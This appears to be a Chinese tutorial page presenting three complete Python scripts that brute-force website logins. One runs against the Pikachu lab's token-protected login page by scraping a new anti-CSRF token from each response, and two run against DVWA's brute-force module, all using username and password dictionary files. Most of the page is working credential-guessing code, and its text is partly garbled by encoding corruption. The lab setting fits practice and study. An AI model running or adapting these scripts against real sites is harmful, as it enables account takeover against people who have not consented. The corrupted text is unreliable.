Python實(shí)現(xiàn)破解網(wǎng)站登錄密碼(帶token驗(yàn)證)
前言
上一篇暴力破解文章:一個簡單的Python暴力破解網(wǎng)站登錄密碼腳本
測試靶機(jī)為Pikachu漏洞練習(xí)平臺暴力破解模塊下的 “token防爆破?”
春節(jié)期間歇了一陣子,吃睡玩看小說。寫這個腳本的起因是因?yàn)閎urp設(shè)置帶token的暴力破解我只會用pitchfork草叉模式,要是用cluster bomb集束炸彈模式笛卡兒積那樣就不會了,所以就干脆把之前寫的腳本加了點(diǎn)東西實(shí)現(xiàn)這個功能了,到時候有空再學(xué)學(xué)多線程,爆破速度就更快了。

關(guān)鍵代碼解釋
設(shè)置請求頭
5~11行:指定url地址和請求頭,user_token設(shè)置首次發(fā)送請求包時的token值。
url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}
get_token函數(shù)獲取token值
13~16行:這個函數(shù)返回從響應(yīng)包中獲取的token
在http響應(yīng)包中有一個隱藏的標(biāo)簽里面有token值:
<input type="hidden" name="token" value="5874161fe8db950ca7993759020" />
第15行:soup.select查找標(biāo)簽名為input,name為token的元素的value的值。
def get_token(r):
soup = BeautifulSoup(r.text, 'html.parser')
user_token = soup.select('input[name="token"]')[0]['value']
return user_token
完整代碼
from bs4 import BeautifulSoup
import requests
from requests.models import Response
url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
#proxies = {"http": "http://127.0.0.1:8080"} ?# 代理設(shè)置,方便burp抓包查看和調(diào)試
header = {
? ? 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
? ? 'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}
def get_token(r):
? ? soup = BeautifulSoup(r.text, 'html.parser')
? ? user_token = soup.select('input[name="token"]')[0]['value']
? ? return user_token
if __name__ == "__main__":
? ? f = open('result.csv', 'w') ? ? #把爆破結(jié)果儲存到文件里,這里為csv格式
? ? f.write('用戶名' + ',' + '密碼' + ',' + '包長度' + '\n') ? ?#給文件設(shè)置標(biāo)題
? ? #遍歷字典文件,Cluster bomb 暴力破解
? ? for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):
? ? ? ? for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
? ? ? ? ? ? username = admin.strip()
? ? ? ? ? ? password = line.strip()
? ? ? ? ? ? payload = { ? ? #payload為POST的數(shù)據(jù)
? ? ? ? ? ? ? ? 'username': username,
? ? ? ? ? ? ? ? 'password': password,
? ? ? ? ? ? ? ? 'token': user_token,
? ? ? ? ? ? ? ? 'submit': 'Login'
? ? ? ? ? ? }
? ? ? ? ? ? Response = requests.post(url, data=payload, headers=header)
? ? ? ? ? ? result = username + ',' + password + ',' + str(len(Response.text)) ?#用戶名密碼以及響應(yīng)包長度
? ? ? ? ? ? print(result) ? ? ? ? ? #輸出到終端
? ? ? ? ? ? f.write(result + '\n') ?#輸出到文件
? ? ? ? ? ? user_token = get_token(Response) ? ?#調(diào)用get_token函數(shù)獲取下一次循環(huán)需要的token
? ? print('\n---完成---\n')
? ? f.close()運(yùn)行結(jié)果

查看保存的文件,查看包長度與其他不一樣的數(shù)據(jù)
這里csv不會顯示前綴會自動去掉首位0,可以把文件改成txt格式就正常顯示了

嘗試登陸一下,登錄成功。

補(bǔ)充
下面小編為大家補(bǔ)充了另外兩個利用Python實(shí)現(xiàn)破解網(wǎng)站登錄密碼的示例代碼,希望對大家有所幫助
方法一:
import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"} #代理設(shè)置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}
f = open('result.csv','w')
f.write('狀態(tài)碼' + ',' + '用戶名' + ',' + '密碼' + ',' + '包長度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')
print('\n完成')方法二:
import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"} #代理設(shè)置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}
f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
if not(Response.text.find('Welcome to the password protected area')==-1):
result = username + ':' + password
print(result)
f.write(result + '\n')
print('\n完成')以上就是Python實(shí)現(xiàn)破解網(wǎng)站登錄密碼(帶token驗(yàn)證)的詳細(xì)內(nèi)容,更多關(guān)于Python破解網(wǎng)站登錄密碼的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
python根據(jù)文章標(biāo)題內(nèi)容自動生成摘要的實(shí)例
今天小編就為大家分享一篇python根據(jù)文章標(biāo)題內(nèi)容自動生成摘要的實(shí)例,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-02-02
Pycharm中如何關(guān)掉python console
這篇文章主要介紹了Pycharm中如何關(guān)掉python console,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-10-10
使用Python編程分析火爆全網(wǎng)的魷魚游戲豆瓣影評
本文來為大家介紹如何使用Python爬取影評的操作,主要是爬取《魷魚游戲》在豆瓣上的一些影評,對數(shù)據(jù)做一些簡單的分析,用數(shù)據(jù)的角度重新審視下這部劇,有需要的朋友可以借鑒參考下2021-10-10
使用python 和 lint 刪除項(xiàng)目無用資源的方法
這篇文章主要介紹了利用 python 和 lint 刪除項(xiàng)目無用資源的方法,使用方法是將 python 目錄下的 delUnused.py 放到項(xiàng)目目錄下,然后直接運(yùn)行即可,需要的朋友可以參考下2017-12-12

